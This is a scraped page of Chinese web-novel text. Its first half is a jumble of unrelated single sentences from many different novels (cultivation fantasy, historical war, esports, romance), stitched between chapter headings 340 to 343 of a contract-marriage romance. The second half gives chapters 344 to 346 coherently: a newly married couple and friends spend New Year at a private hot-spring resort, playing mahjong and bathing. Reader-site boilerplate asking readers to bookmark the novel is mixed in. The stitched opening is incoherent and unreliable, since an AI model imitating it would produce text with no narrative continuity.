所以从头到尾,我都没有动手,不过李赫还是败了,被安以辰打得很惨。 “司爷爷,司白呢?”叶卿棠来到司家之后,并未看见司白的踪影,不由有些奇怪。 一些幽氏古族强者,猝不及防之下,瞬间被血月长老山峰般的双拳砸成了肉末。 不过现在,萧燃却在爱心外面就停了下来,因为接下来连她自己都不知道会做怎样的选择,这个决定对于萧燃来讲很残忍,需要勇气。 在看见那些人脚下的工具之后,他一拍大腿,得嘞,他赶紧跑到了围墙下面。 贵叔信以为真,就只能先去借钱,从那些老兄弟那里借。每个月借个几十万,把老脸都得搭进去了。 第一卷 第340章 先婚后爱(37) 夏铭谦刚剪完头发,心想这大马路上一个也不认识,也就没了“剪头三天丑”的概念,哪知拐了个弯儿,碰到了祝卿月和她男朋友。 双方在F6处来回亮牌子欢迎对手,总决赛上的LZ牌子与EC的牌子做的挺精致的,李狗蛋非常喜欢,像耍宝一样在这里亮着。 上去之后呢,他真的是发现了上面有一个协议,这个信息非常清晰,然后呢,做实验就在想下面的发现了有这样的实验吗?这样的事情是这样事情真实吗? 这个简单,既然紫阳紫云是师兄妹,那紫阳一定见过紫云的真面目,现在,傻子都看得出,紫阳一定喜欢这个师妹了,既然两人见过的话,若是紫云长得丑,紫阳会喜欢吗? 少顷,神光剑芒渐渐敛没黯淡,混沌虚空,现出一尊魁梧的青年身影,双目紧闭,盘坐其中。 但事实是夜辰平淡的看着她的靠近,没有躲避的意思,伊万里索性不去管他太刀就顺势想要挥砍下去。 当然了,朱元璋也是按照原来的那种承诺,让他的这些义军的兄弟轮流的享用美食,美酒的。 在回去的途中就再也没有碰到刚才撞到的人,忽然耳朵听见如优美乐器般悦耳的声音,不知不觉的停下了步伐。 谁都希望能够收服这样一头妖兽做灵宠,因为简直注定成为巅峰强者,这样的诱惑,就连西门傅、西门世家,三大宗派都挡不住,更何况是他们。 “真是……给你个好机会都不懂把握。”海拉摊摊手,一脸恨铁不成钢的样子走开了。 当侍从离去,燕北的脸上露出突兀的疲惫,靠在坐榻上仰头望着角落甲架上坚固而华贵的赤纹甲,叹气深远而悠长。 下一刻,地面突然爆发出剧烈的轰响,随后被火球覆盖的区域立刻燃起了漫天大火。 他叫住江尘,全然是为了江尘好,随后发生的事情,多少有点超出了他的想象,江尘临走之前,拿手指他的那个动作,更是让他心惊肉跳的很。 “请你注意下你的言辞。”杨军在一边沉着脸看着他冷冷的说道。 域界战场地处四大域的接壤地带,此地不管是地形还是地貌,都颇为复杂,这里还是绿树成荫,前方则已经是漫天黄沙,寸草不生。 胡长老那是谁,那可是天机门中,内门主峰的首席长老,化神期内的顶级存在。 “棠老师,你一定是听错了,我说的是暂时没有……现在,刚好有了。”说着话,不等棠月拒绝,拉着棠月就是走向电梯方向。 张阳苦笑地摇摇头,他表示这股血煞之气极为奇特,自己一时之间也没有找到破解之法。 纵然如此,圆满之境的裂铁指,依然有着可怕的威力,这还是在陈宗没有全力发挥纯阳气血力量的效果。 这片绵延数百里的山岭亘古以来少有行人,比陆遥想象的还要险峻许多。过去两天的艰苦跋涉,损失的非只是马匹物资,还有二十余名将士失足殒身山中。 花五菱不愧是乐音高手,或许是狐族本就能歌善舞的原因,估计王公贵族更是在这一方面擅长的紧,只听得那清脆的乐音伴着缠绵的语调款款而来。 第一卷 第341章 先婚后爱(38) 祝卿月直觉魏云舟是生气了,算着时间,等他到达z市后,给他打了电话。 不巧,魏云舟没回家,约了于见山喝酒,没接到她的电话。 爱琴海位于古代希腊城邦与波斯帝国之间,海岸线曲折,港湾众多,岛屿星罗棋布,又有“多岛海”之称。 黑袍老者的脸色逐渐变得越发苍白,他却仍旧是紧盯着夏寻,眼中带着一股浓浓的怨毒之色。 四周的人都摇了摇头,或许原本夏寻能够有机会向着刺杀者问出什么,可这么一番折腾下来,恐怕那刺杀者心神已经完全崩溃了吧。 她显得有些扭捏的样子,开口想说点什么,却是又很无语,张开了嘴巴也没说出啥来。 然而他们不知道的是,那个睿智强大的老人,世界上最强大的心灵掌控者,也遇到了危险。 七……表弟,怎么了?岳七的这个忽然动作让胖子腾地一下从病床上坐了起来,难道有情况了? 在地火王朝里,地火战皇是最高的统治者。但是,在背地里,这里并没有真正的掌权者,琅家当初就是派出了这五人前来地火王朝卧底。 看见叶枫看着摆着的那些车发愣,那位大哥卖力地吆喝着。其实叶枫并不是发呆,而是在心里和塞纳嘀咕上了。 秦焱下定决心,迈开脚步,就在那虚空入口的涟漪之中消失不见。 但,以秦焱的目光,再加上两次三番的试探,终究会露出狐狸尾巴。 “哪呢?在哪呢?哪里有色鬼偷窥!”听到日月的喊声,看守温泉的强壮大妈手拎着一根洗衣棍冲了出来。 公孙渊检视倭国贺礼,眼睛一亮,被二颗碩大珍珠吸引。玩赏片刻,便径自收入自己袖中。 眼看挡不着了,宝藏丸又清叱一声,急步侧绕,争取到了一点距离。等到虎松的木刀追到他颈侧时,他的刀也停留在了虎松的肋下。 石匠一锤一锤地轮流敲打着巨石上的成排的钢钎,最后用大锤用力对其中一支钢钎一锤,一块条石豁然开裂松动。 “怪物,怪物!!”一名云隐忍者捂着自己连根断掉的手臂,惊恐地哀嚎着,拼命往外爬。 虽说不清楚陈执手中为何会有七虹伞,但此时,汤丞却是没有多想,或许是在他的潜意识中,根本就不相信陈执能够杀死陆傲。只见他一掐诀,脚下青黑色长幡之上,忽然喷吐出一道黑色的迷雾,笼罩在了他的面前。 直躺在地的毒蛇把身体盘起来,毒蛇头抬起来,蛇信伸出了摇动,似乎是招手再见。 元杰将斩龙剑轻轻一挑,射来的蓝光顿时被一股柔劲转移了出去。 这次梁族来得人比较多,实力极强,更有八名圣者,其中几个深不可测。看来是战斗谈判两手准备。 他脸一沉,狠狠一拍桌,盯着武行素阴森森道:“你们想用借刀杀人之计,借我之手除掉大哥,是不是!”他目光凶狠,抽出剑放在他脖上,只要眼前此人有半点惊慌、半点犹豫,便要一剑砍了他。 随着虚影出现,好像天地间某种物质被迅速‘抽’离,加持到其,虚影立马变的凝实。 这个讲堂深深的激励了柳琴的内心,不就是一个渣男嘛?分了就分了,有什么可眷恋的?就在那一刻,柳琴彻底割舍了对郭铭的爱,然后获得了一个新生的自己。 第一卷 第342章 先婚后爱(39) 合法的丈夫抬头挺胸从夏铭谦面前越过,看得祝卿月想笑,这什么姿态啊? 光线明明灭灭,他的轮廓也一半掩于阴暗,一半露出了深邃,身影高大,居高临下地睨着她。 接连的几日,她都会特别关注新闻,虽然也透出了‘退婚’之类的风声,但对此,容华跟简家居然都没有正面回应,倒颇显风平浪静之势。 “昌濠,你今天不是陪我回家来看望我父母的吗?”管墨馨忍不住开口了。她以为他是好心好意地陪自己回来,原来这只是假象而已。 一套简约精美的翡翠钻石珠宝,灯光下,盈盈闪耀着璀璨的光芒。 “好啦,现在大家都打开看一下自己的纸条吧。”战歌说完,率先把自己的纸条摊开给大家看,是蓝色的。 宋瑾瑜……山大王!哈哈。他想笑,但是这种时候笑出来似乎有点不太好,于是只能生憋住。 慕容傲心情又双叒叕变得糟糕起来,今天多次都是自我感觉良好,都以为能天下无敌,可每每还没做多久的美梦,就被现实狠狠的甩脸。 感觉腰要断了,半梦半醒之间,夏念兮在心里打了个问号:这不是爷爷给他们开的助孕的药,不是要帮助她更容易怀孕的吗? “司徒先生,你的精神很不好,你是不是好久没睡觉了?”医生在一旁谨慎地问。 地牢里常年见不到阳光,阴暗潮湿,湿漉漉的墙面爬满繁茂的青苔,一股难闻的霉味飘散在空气里。 完了、完了!全被听到了,这回死定了!黑桐博人冷汗直冒,算是彻底认命了。 “杰斯,你真幽默!”而他这样的幽默也刚好缓解了她刚才的紧张,顿时便轻松下来。 “不、不用了。我今天酒喝多了,来后劲了。”不想扫了大家的兴致,林鹏赶紧摇摇头,解释到。 洛枫在所有人都出去之后,这才卸下了脸上那只属于帝王的威严的面具,在桌子旁边坐了下来。 “你怎么不早告诉我呢??我说什么也让你不会参加行动的!”左轮淡定地说。 听到怀志大师这么一说后,郭子仪大元帅十分赞同,便将这阻击四路龙兽妖的作战任务交给了怀志大师,自己随同北海龙王大太子一起,一路杀向龙暴山而去。就这样攻其不备,龙暴山歼灭战就此展开。 王瑶缓缓的脱下那件红色外套,交到了古清源的手上,对着他点了点头,便跟着警察上了警车。 今天的早操是米副旅长亲自讲话,她在对近期的赤鹰表现进行总结,并说明以后目标。 秦越看了眼前这一幕,虽然知道只是师兄妹之间默契的互动,但是却让他觉得分外刺眼。 回到家,左轮疲惫的坐在沙发上。头发已经被风吹干了,但潮潮的衣服黏在左轮的身上很难受,只好起身去洗澡,清冷的屋子里依稀听得见水在坠落的瞬间发出的噼里啪啦的声音。 下一句也让我大跌眼镜,她居然说让我送给她,因为我们聊的很开心。 随着现代科技的进步,医学、药物学什么的倒是不稀奇了,大家也都不去学了,不过一些专门用来对付幽灵、吸血鬼、狼人等等非人种族的魔药被保存了下来,并且成为了猎魔人的重点保护对象。 第一卷 第343章 先婚后爱(40) 祝卿月没想到会在这样昏暗的户外被戴上戒指,冰凉的戒指没一会儿被皮肤浸到温热,如同她现在的一颗心。 也许是怕自己感性掉眼泪,装作玩笑地问魏云舟:“你在这里给我戒指,是不是屋里灯光太亮,你也不好意思?” 魏云舟沉默了。 祝卿月一愣,不会吧?真被她说对了? 下午吃过午饭,估算着时间,冰魄也应该带人进了邯郸城,正待让元宝去探听消息,就已经收到了冰魄传递的进山信号。百里九与诺雅,元宝收拾好所需行装,叫上一脸莫名其妙的官洛,带着泡泡,径直向着山内进发。 说者有意,她的话语如同雷霆般的响亮一直回旋在他的耳边,久久不能离去。 叶沉溪很清楚自己给出的待遇在西南地区的竞争力,只是那哥们儿可能刚到府南对这里行情还不够了解,货比三家也很正常。叶沉溪相信当他再面试几家,自然还是会选择青鱼网络。 “歌曲要尽量录的可爱一点,她们现在的录音我也听过了,跟造型一样,清纯有余,可爱不足。”王威廉看向了金亨锡。 江珵鹤知道,他们都避忌凤太后,顺带连着他,自然也是多有防范的。 果然单位里的人想的确实是比较周全,懂得拿去检测。关于检测,段毅倒是没有想到,他只知道既然种出来的菜没问题,那种其他肯定也没有问题了。 果然是雪中送炭,顿时办公室的气氛由刚刚的缓和变的热闹起来,大家都在为有吃的感到兴奋,有吃的肯定是要一起分享,独乐了不如众乐乐嘛,只是这一次赵依依还真的有点舍不得。但是为了面子,也只能将就分给大家了。 这时候,他将这相关的众多因果,全部汇聚成记忆,进行天枢古镇封禁。 秦昊突然开口,他露出一抹笑容,这让众人变色,他还真想同意不成? “少主的意思是让我们偷偷的进行,将整座火种源矿脉搬空?”大块头冷一那双泛着红光的电子眼猛地闪烁了几下,连忙说道。 北方人淳朴,热情,好客,他们在春节这样的重要节日里走亲访友,绝对不会两手空空。那样,一来不合乎规矩,再者也会被旁人笑话。 红枫园里的枫叶落了一地,红彤彤的一片覆盖了整个地面,一如美人鲜红欲滴的嫁衣,带着些许决绝瑰丽之美。 “第一,找到沉香后你立刻离开六王府,永远都不要回来。”连芷说道。 夜幕垂下之时,赵子弦带着田伊开着湛蓝色的法拉利跑车离开了别墅。他早就约好了阿凉与仇露在激艳吧相聚。跑车如红色夜魅般在公路上高速行驶着,当两人下车时阿凉已等候在酒吧的门口。 两人寒暄了几句,上了车后,张铮发动了汽车。从华夏大学门口出发,车子开开停停,但是夏浩然发现,他们并没有出京城范围。 这种幸福是失去之后又意外得到的惊喜与欢悦,是简单纯粹的天伦之乐。 疯狂的扭动,有力的扭转着手,可无论怎么扭动,绳子都只会越来越近,而手也越来越痛。 “犹豫什么?他已经走火入魔,再不动手,就真的晚了。”老先生此刻真的表现世外高人的风范。他的话让吕紫剑从慌乱中惊醒过来,现在只能试试了。 第344章 先婚后爱(41) 祝卿月话音刚落,除了主副摄,全都围了上来。 “小祝,你跟孟老师真的是婆媳关系?” 祝卿月失笑:“孟老师亲口认证的,自然没错了,我可没这个胆子冒充她儿媳妇。” “我去,我到现在也不敢相信你结婚了,一直以为那是你男朋友。” “七月份结的婚。”祝卿月笑了笑。 “还不到半年啊,怪不得这么黏糊,那你俩谈了多久啊?” 祝卿月的笑意收敛了些,夏铭谦闻言望去,显然对这个问题也很好奇。 “没有谈,我跟他是联姻。”祝卿月也没瞒着,“结婚后觉得对方不错,就变成了你们看到的样子。” “联姻啊?看来小祝你也是个千金小姐,瞒我们瞒那么紧。” “严格意义上来说我不是什么千金小姐,一开始瞒着我和孟老师的关系确实有很多方面的因素,不过这些天相处下来,大家都是不错的人,等结束后,我请你们吃饭赔罪。” “说什么赔罪,太严重了,其实换位思考也能理解你一开始为什么会隐瞒你和孟老师的关系,不过孟老师可是坦坦荡荡的,你也就不用多想了。” 祝卿月点了点头。 夏铭谦抵了抵一旁的副摄杨宇:“好了,叫他们开工,时间差不多了。” 杨宇没动,反而调笑了一句:“尴尬了吧?” “我尴什么尬,我伤心。”夏铭谦索性破罐子破摔。 杨宇是真想笑,他拼命忍着,说:“以后还是离人家远点吧,没见人家老公对你有意见吗?” “我要是不要脸的话,是不是应该说那又怎么样?他对我有意见就代表我有威胁?”夏铭谦挑了挑眉。 “你有个屁的威胁,你能弄得过魏云舟?”杨宇直接打消他的念头。 夏铭谦耸了耸肩,避重就轻:“开工,要我说多少遍?” “破防了。”杨宇笑了声,赶在夏铭谦发飙之前大手一挥,喊道:“开工了。” 祝卿月开了机器,没注意到夏铭谦瞥了她一眼。 一个上午,魏云舟并没有去工坊里看一眼,毕竟会耽误别人工作,他一个人也不无聊,安静地待在房里看看书喝喝茶。 时间很快过去,祝卿月却歇不下来,一天完工后,她还要清理器材和整理素材。 一切弄好都快十二点了,好在第二天休息,可以睡个懒觉。 祝卿月护完肤回房,发现魏云舟给她留了盏灯。 她浅笑一声,轻手轻脚地走到床边,却发现魏云舟还没睡。 “愣着干什么?”魏云舟扯她一把,“上来。” “你怎么还没睡?” 她一直没听到卧室的动静,还以为他早就睡着了。 “等你。” 祝卿月轻笑:“都快十二点了,你不困?” “还好。”魏云舟关了灯,和她并肩躺下,“手酸吗?给你揉揉?” “有点。”祝卿月将手搭上他掌心,“我这里的工作也快完了。” “元旦节之前能赶回去吗?”魏云舟问。 “应该可以。”祝卿月扭过脸,“到时候跟你一起跨年?” “不然呢?”魏云舟反问,“不跟我跨年跟谁跨年?” “听你这口气,你安排好了?” “嗯。” 祝卿月一愣,倏地坐了起来:“你真安排好了?” “这么惊讶干什么?”魏云舟不解,“我不像是做这种事的人吗?” 祝卿月彻底睡不着了:“能不能提前透露一下?” “算个惊喜吧,不过不止我们两个人。”魏云舟拍了拍她手臂,“躺下来睡觉。” 是惊喜的话,祝卿月还真不好追问,她眼眸一转:“都有哪些人总能说吧?” 魏云舟说:“都是你见过的,于见山和吴佑两口子,还有你的朋友丁怡,宋潭我邀请了,但是他说元旦节有事,拒绝了。” “你还邀请了丁怡和宋潭?”祝卿月又惊了一瞬。 宋潭拒绝,她没有一点意外,毕竟他和他们不算是同辈,有时候说话可能不在一个频道上。 而且宋潭喜欢独处,越是热闹的节日越不要去打扰他。 “宝宝,你朋友好像有点少。”魏云舟用指腹刮了下她的脸。 祝卿月眨巴了下眼睛,然后顿住了,魏云舟叫她什么? 看着她泛红的脸,魏云舟的羞赧被抚平,他笑了声:“怎么了?这个称呼很腻歪吗?” 祝卿月摇了摇头:“我只是没想到。” 也没习惯,她妈妈都没这么叫过她。 魏云舟的心脏近在咫尺,祝卿月小心翼翼靠上去,静静感受此刻的静谧。 一辈子太遥远了,每一天有他的当下,对于她来说就是完美且知足的。 魏云舟抚着她的后背,说:“别是哭了吧?” “怎么可能?”祝卿月说,“我在想剩下的半个多月里,我要利用晚上的时间将工作上的事情全都处理好。” 到时候就有时间陪他好好地玩。 魏云舟大概猜出她的心思,笑道:“没事,你慢慢来,别把自己累着就成了,小猪。” “嗯?”祝卿月猛地从他怀里抬起头,“你叫我什么?” “小祝啊。”魏云舟装傻,眼神却透着戏谑。 “你觉得我信吗?”祝卿月捶了他胸口一拳,“谐音梗也是让你玩上了。” 魏云舟轻笑:“我看你同事都这么叫你。” “人家叫的是小祝,你叫的是小猪。”祝卿月瞪着眼。 “你不承认不就行了。”魏云舟强词夺理,将她按进怀中,“睡吧。” 祝卿月哼了声,不打算跟他计较。 周日下午,魏云舟离开了雁清,这次回去就不会再过来,元旦之前很忙,正好祝卿月也是,两人忙到了一块。 但是忙碌的日子过得很快,结束的那一天,所有人狠狠松了口气。 祝卿月答应过请客,当晚就在雁清最好的酒店宴请了一桌。 结束之前,夏铭谦找到她,随意聊了两句,祝卿月心不在焉地应和两句。 “那就祝你以后事事顺利吧,虽然土,但也是我的真心话。” “谢谢。”祝卿月终于对上了他的视线,“也祝你以后越来越好。” 夏铭谦转头,潇洒地挥了挥手:“会的。” 翌日一早,元旦的前一天,祝卿月回了z市。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第345章 先婚后爱(42) 早上走得早,十点左右,祝卿月回到了丹枫公馆。 魏云舟还在公司,估计要下午才能回。 阿姨们将她的行李提上去一一整理,祝卿月刚坐下,手机响了。 是谢莹。 祝卿月赶紧接起:“妈,我刚要给你打电话。” “就知道你要打。”谢莹笑了声,“我知道你今天回来,歇着吧,别来我这儿了,我跟朋友一起跨年呢。” 谢莹还真有一两个知心朋友,是祝卿月爸爸的几个朋友的老婆。 大家天南海北聚在一起不容易,没想到今年约着过来看看谢莹。 祝卿月听她这么一说,心里也有些动容,说:“只有阿姨来了吗?” “是,毕竟我一个女人,跟他们老公一起跨年也不合适,我就跟你三个阿姨一起玩两天。” “好,我跟云舟也出去。” “我知道,云舟这孩子有心,我跟你阿姨们这次的跨年行程就是他安排好的,你放心。” 祝卿月一愣:“云舟安排的?” “是啊,这孩子是真好,你可对人家好点。”谢莹对魏云舟,是越看越满意。 毕竟是自己给闺女选的女婿,如今他能做到这样,她也算松口气。 挂了电话,祝卿月发了一会儿愣,犹豫的间隙,给魏云舟拨去了电话。 等她发现想要挂断的时候,通话已经接通了。 祝卿月将手机拿到耳边,“喂”了声:“是我,有没有打扰你工作?” “没有,我下班了,再交代一些事就能走了,你到家了?” “嗯,突然有点想你,就给你打电话了。” 魏云舟轻笑:“你先收拾一下随身的行李,看看要带什么,我们下午出发。” “好。”祝卿月欢快地应了声,“那我在家等你吃午饭。” “好,一会儿见。” 挂断电话,祝卿月跑上楼,三天两晚带两身衣服就行,其他的酒店肯定都有。 刚收拾好,魏云舟的车到了楼下。 祝卿月从三楼跑下去,一路从楼梯跑到门厅。 魏云舟看到人,连忙提醒了声:“慢点。” 祝卿月已经刹不住了,她张开双臂,一下扑了上去。 惯性让魏云舟下意识退后一步,将人抱了满怀。 好多天没见,魏云舟其实也想她,他抬手拍了拍祝卿月的后背,笑着问:“想我了?” 电话里可以肆无忌惮,真见到人了,祝卿月有种莫名的羞耻感。 她推开他,点了点头:“先吃饭吧。” 魏云舟却一把扯住她的手腕:“没想?之前哄我的?” “想了。”祝卿月晃了下他手臂,“现在可以吃饭了?” 魏云舟牵住她的手,将人带到餐厅。 吃饭的时候,祝卿月问魏云舟:“我还没和丁怡联系,下午走的时候顺道带上她吗?” “我们跟她不太顺路,我让于见山去接人,陈小萤和吴佑明天到。” 祝卿月说:“我没想到小萤姐会有空。” 节假日,是他们最忙的时候。 魏云舟叹了声气:“陈小萤受伤了,养了好一段时间,吴佑为此大发雷霆。” “怎么了?”祝卿月抬眸,“受的什么伤?” 魏云舟摇摇头:“具体的没说,只知道当时进了手术室,她执行任务,为救战友受伤的。” 进手术室的伤绝对很重,祝卿月一个外人都心有余悸,更别提吴佑了。 “那她现在能出去玩吗?” “基本恢复了,她工作这些年,全年无休,正好趁此机会多休息休息,哦对了,他俩领证了。” 祝卿月下意识“哇”了声:“苦尽甘来啊。” 说完,她又怀疑地定住了:“也不对,什么叫苦尽甘来啊,应该叫如愿以偿。” 魏云舟轻笑:“确实是如愿以偿,吴佑领证之后,一直处于兴奋当中。” 祝卿月也笑:“有名分了,当然高兴。” 魏云舟点了点头:“他盼这一天盼了很久。” 祝卿月:“你朋友里,好像只有于见山还单着。” 魏云舟:“他谈过几个,现在又被家里催婚,吴佑领了证,只怕会被催得更惨。” 祝卿月都有点同情他了,身边的朋友一旦结了婚,剩下的那个指定会被催婚。 不过于见山不见得听就是了。 吃完饭,魏云舟和祝卿月略作休息,下午三点准时向目的地出发。 按照时间,应该是于见山和丁怡先到。 车辆一路向北,祝卿月看了会儿沿途的风景,转头说:“你选择开车去,这个地方应该离z市不远吧?” “六点到。”魏云舟说。 祝卿月在脑海里搜刮半天,也没猜到这是个什么地方,直至商务车驶过长长一条山道,她才恍然。 这个地方她来过,是比较有名的温泉度假胜地。 不过她还是二十岁生日来的这里,六七年过去了,只怕改变了许多,最起码沿途的树木更密了。 这里远离城市,仅仅靠着一条蜿蜒的盘山公路与外界相连,私密性极高,是不少明星富豪钟爱的度假圣地。 本小章还未完,请点击下一页继续阅读后面精彩内容!前两年就有大明星包下这个地方向女友求婚,让这个地方小火了一把。 整座度假村只有18间客房,每间客房都配有独立的露天私汤池,池体是天然青石,池边是常青绿植,观景露台可以俯瞰整片山谷。 祝卿月按照记忆中的描述给魏云舟,问:“现在还是这样吗?” “还是这样。”魏云舟说,“就是周遭的绿植更密集了些。” 祝卿月看着他:“你近期来过?” 魏云舟说:“去年来过,还是和于见山。” 天光彻底暗了下去,祝卿月和魏云舟终于抵达了酒店门口。 魏云舟已经包下了这里,商务车刚停,经理亲自带着人周到服务。 魏云舟问:“于先生到了吗?” “十分钟前刚到,他携一位丁女士等在大堂。” 魏云舟点了点头,转头牵起祝卿月的手进了雅致敞亮的大厅。 拐过一扇翠竹屏风,他看到了于见山和丁怡,两人熟络地聊着。 祝卿月看了眼魏云舟:“他俩认识?” “不认识。”魏云舟摇了摇头,“老于是社牛,不会把话落地上,两三个小时,足够他和丁怡相熟。” 话落,于见山抬眸,见到他俩,咧着嘴笑道:“呦,你俩真会挑时候,我和这位丁女士相谈甚欢呢。” 丁怡嗤笑一声:“少来吧你。” 于见山耸了耸肩:“我句句肺腑,有些人不信。” 吊儿郎当,丁怡暗自摇了摇头,对祝卿月招了招手:“过来坐着啊,咱俩好久没见了。” 祝卿月和魏云舟在两人身边坐下。 于见山有啥说啥,直接问魏云舟和祝卿月:“你俩今晚泡汤吗?” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第346章 先婚后爱(43) 经过于见山的口问出来的话,祝卿月总觉得他带着戏谑的暧昧。 她抵了抵魏云舟,让他回答。 魏云舟“嘁”了他一声:“你管我泡不泡汤。” “得,不问不问。”于见山闭嘴换话题,“那还等什么,吃饭去啊,吃完饭正好打个麻将。” 丁怡眼眸一亮,看向于见山:“你会啊?” “这么简单谁不会,云舟也会。”于见山说,“所以我才提议打麻将。” “月月也会,她以前总会陪我一起玩,耳濡目染就会了。” 两人一来一往说起了麻将,魏云舟没答应也没拒绝,反倒是转头问祝卿月:“累不累?” 祝卿月知道他的意思,说:“还好,就陪他们玩会儿吧。” 魏云舟点点头:“先吃饭去。” 这里的晚餐都是精心烹制的,祝卿月已经不记得这里的特色菜和口味,直接让魏云舟给她点菜。 魏云舟不如于见山老道,将这项任务推给了他。 丁怡当然也没意见,一共四个人,于见山看起来就是会吃会玩的那一类。 于见山拿过菜单,问了丁怡和祝卿月的忌口和偏好口味,十分利落地点了菜。 其实酒店都有专门的菜单可以提前定下,但魏云舟没有这么做,拉一下大家的体验感。 四个人还是无聊了些,尤其是其中一对还是情侣,一旦哪句话落下,于见山就只能和丁怡大眼瞪小眼。 好在丁怡也是爽朗的性子,两个人聊天也不拘谨。 晚饭不紧不慢吃了一个小时,稍作休息,四个人移到休闲区里的棋牌室。 “来来来。”于见山招呼其他三人坐下,“今天咱也不来钱,随意一乐,等明天吴佑两口子到了,咱们再来做趣味惩罚。” 祝卿月十分好奇:“什么惩罚?” 于见山说:“比如你输了,你就要选择一个惩罚的类型,比如做5个俯卧撑,20个仰卧起坐,真心话大冒险都可以,你要是做不来,就让云舟帮你,不过任务量翻倍。” 祝卿月:“……这可比赢钱难多了。” 于见山失笑:“所以今晚让云舟带着你练练手,明晚你俩和吴佑两口子玩。” 祝卿月更疑惑了:“你不玩吗?” “这你就不懂了吧,两对小情侣玩多有意思啊,是个男人就不能让自己的女人输。”于见山转头对丁怡挑了挑眉,“你说是吧?” 丁怡朝他竖起大拇指:“还是你会玩。” 于见山略显得意:“小意思。” 祝卿月许久没打牌,前面几牌很是生疏,其余人耐心十足地等着她,一圈到底,她逐渐熟练。 玩到十一点,竟然不太想散场。 “都出来玩了,随心所欲呗。” 于见山一句话,几个人又打到了十二点。 说完“新年快乐”,祝卿月精神头逐渐萎靡下去,魏云舟推了牌,说:“回房睡觉吧。” 祝卿月终于站了起来:“我们房间在哪个区域啊?” 魏云舟说:“出门右转的玉兰院。” 每个人都是独立居住的院子,于见山和丁怡在左边的牡丹院和锦绣院。 几人道了别,各自回了房间。 路过锦鲤池,祝卿月笑了声:“这单顶锦鲤养得真标志。” “确实漂亮,要看会儿吗?”魏云舟随着她的步伐节奏停下。 “白天再看吧,有点困了。” “好,回房。” 经过玄关后来到客厅,茶几上放着当季的新鲜水果和欢迎贺卡。 祝卿月捏了个蓝莓扔进口中,随后进了卧室。 一张两米宽的大床占据房间的中心位置,床侧的壁灯复古又温暖,祝卿月扭过脸,说:“我先洗澡了?” 魏云舟点了点头:“去吧,我去另一个浴室洗。” 时间不早了,两人快速洗了澡打算上床睡觉。 闭眼之前,祝卿月突然问了句:“我们这个院子的汤池在哪儿啊?一路过来也没看见。” “每个院子的汤池位置都不太一样。”魏云舟说,“一般是在花园、露台或者凉亭下,你要不猜猜?” “花园应该不是吧,我们刚才路过了,没看见汤池。”祝卿月说,“你告诉我吧。” “你喜欢在哪个地方?”魏云舟卖了个关子。 “有什么区别?”不都是泡温泉的地方? 魏云舟轻咳一声:“区别大了,氛围也不一样。花园里是露天,但四周用了高大的灌木绿植进行了遮挡覆盖,比较接近自然。” “凉亭那边应该会遮挡的布帘,还有其他的彩灯绿植装饰,不过四周景色就被隔绝了,至于露台……” “露台怎么了?”祝卿月问。 “露台离房间最近,有绿植也有帷幔,还有彩灯,氛围感是最好的,视野里都是山。” 祝卿月打了个哈欠:“那我们的汤池有可能在露台啊,这样也挺好的,离房间近,更方便一些。” 魏云舟见她就要睡着了,有一下没一下拍着她后背,没一会儿,两人双双睡去。 度假度的就是随心所欲,翌日,四个人都睡到自然醒,于见山甚至赖床赖到了中午。 本小章还未完,请点击下一页继续阅读后面精彩内容!而吴佑和陈小萤正好赶上了午饭。 既然到齐了,肯定要一起吃个饭,不在自个儿的院子里用餐。 于见山还没下来,祝卿月正好趁着机会给陈小萤介绍自己的朋友丁怡。 丁怡听闻陈小萤是刑警,当即“哇”了声:“你看着还没我高。” 陈小萤竖起拳头:“我凭这个,不凭身高。” 太酷了!丁怡当即说道:“你好有意思啊,认识你很高兴,要不今晚咱们三个泡个温泉?” “好啊。”陈小萤一口答应。 “诶不是……”吴佑急了,“今天元旦诶,不是应该跟我过嘛?” 丁怡这才自知失言,连忙对陈小萤说:“要不,咱们改天?” 祝卿月也意识到今天不太合适,她转头朝魏云舟笑了笑,刚才过于激动了,把他给忘了。 “就今天。”陈小萤突然发话了。 吴佑也不敢违逆她的意思,只能心不甘情不愿地让了步。 魏云舟似乎也察觉到陈小萤的坚持,对祝卿月点了点头。 晚上,竹林女汤的庭院里挂满了暖黄的灯。 三个女生裹着纯棉浴袍有说有笑,此刻水面袅袅热气,混合着淡淡的硫磺香气。 丁怡率先褪去浴袍,裹上轻薄的浴巾踏入汤池。 祝卿月忙问:“怎么样?” 丁怡只有两个字:“舒服。” 祝卿月和陈小萤彼此对视了眼,一前一后进了汤池。 温热的泉水漫过脚踝、小腿,最后没过肩膀,浑身的毛孔瞬间舒展开来。 陈小萤长叹一声,靠上池边,喟叹:“神仙日子。” 祝卿月考过去,问:“小萤姐,你跟吴佑是不是吵架了?” “没有啊。”陈小萤微微愣住,“你为什么这么问?” “今天是元旦嘛,他肯定想要跟你一起啊,其实我们明晚一起泡也是可以的。”祝卿月说。 陈小萤忽然笑了声:“今晚不泡,之后都没机会。” 祝卿月和丁怡互相对视了眼,没明白陈小萤的意思。 陈小萤悠哉地抬手开了熏香机,清幽的香味缓缓散开,她又将池边的果汁递给祝卿月和丁怡,这才道: “今天是元旦,你们觉得,如果我和吴佑一起过了,晚上会做什么事?” 陈小萤戏谑地看向祝卿月:“我觉得你应该更清楚,我皮糙肉厚还没什么,你这一身细皮嫩肉,今晚过后,还好意思下汤吗?” 祝卿月瞬间了她的意思,脸色爆红,丁怡哈哈大笑:“好有道理。” 这两对小情侣感情都不错,晚上自然不可控制,留了一身的印迹,第二天即便有心泡一泡,只怕也不好意思了。 祝卿月朝陈小萤竖起大拇指:“这个角度真的绝了。” 今晚要不是陈小萤坚持,她们三个说不定还真不能一起泡温泉。 三个人相视一笑,又换了个话题聊。 祝卿月和丁怡都对陈小萤的工作很好奇,能说的陈小萤一般都会给她们讲一讲。 但聊到训练时,祝卿月和丁怡更是肃然起敬,她俩跑八百米都得喘半天。 水温渐渐有些高,三人起身回了房间,一边聊天一边换衣服,还拍了下自拍。 出来的时候,三人还在分叉路口热聊,吴佑、魏云舟和于见山一起走过来。 “室外有点冷,你们仨也不怕感冒了?”吴佑大老远就喊了句。 陈小萤转头:“这不是穿了衣服。” 于见山对丁怡说:“我够义气吧,我怕人家都有人接,留你尴尬,我特意来找你。” 丁怡抱拳:“够义气。” “那就走吧,咱也不当电灯泡了。”于见山做了个“请”的手势。 吴佑牵住陈小萤的手,对魏云舟说:“走吧,于见山不知道又准备了什么游戏。” 魏云舟点了点头,和祝卿月落后一步,问:“聊得很开心?” 